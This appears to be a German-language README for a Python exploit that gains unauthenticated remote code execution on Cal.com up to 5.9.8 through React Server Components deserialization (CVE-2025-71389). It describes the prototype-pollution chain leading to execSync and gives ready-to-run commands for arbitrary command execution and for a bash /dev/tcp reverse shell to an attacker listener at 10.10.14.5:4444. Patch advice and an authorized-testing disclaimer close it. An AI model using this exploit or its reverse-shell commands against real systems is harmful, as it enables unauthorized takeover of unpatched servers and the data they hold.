
Python-Exploit für unauthentifizierte RCE in Cal.com (CVE-2025-71389) über React Server Components-Deserialisierung. Eine einzelne Anfrage ermöglicht Befehlsausführung oder eine Reverse Shell.
Remotecodeausführung ohne Authentifizierung in Cal.com
<= 5.9.8 über die Deserialisierungsschwachstelle der React Server Components „Flight“ —
„react2shell“ (CVE-2025-55182 in React, CVE-2025-66478 in Next.js).
Cal.com bündelt ein verwundbares Next.js 15.x. Ein einzelner, nicht authentifizierter POST / mit einem
Next-Action-Header und einem präparierten Multipart-Flight-Payload durchläuft eine Prototype-Pollution-Kette
(__proto__:then + constructor:constructor) bis zu einem serverseitigen eval, das
child_process.execSync erreicht. Die Befehlsausgabe wird inline im digest-Feld des RSC-Fehlers
zurückgegeben. Keine Authentifizierung, keine Benutzerinteraktion — eine einzige Anfrage ist RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router mit RSC)5.9.9 (aktualisiert das gebündelte Next.js)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
Der einmalige Befehl liefert seine Ausgabe inline über das digest-Feld des RSC-Fehlers
zurück. Der --shell-Modus startet eine mit setsid abgekoppelte bash-/dev/tcp-Reverse-Shell
(der Zielcontainer läuft mit Debian und enthält bash).
Aktualisieren Sie Cal.com auf >= 5.9.9 (jede gepatchte Next.js-Version: 15.0.5 / 15.1.9 /
15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7). Setzen Sie den RSC-Server-Function-Handler
keinen nicht vertrauenswürdigen Clients aus und führen Sie den App-Container nicht als Root aus.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.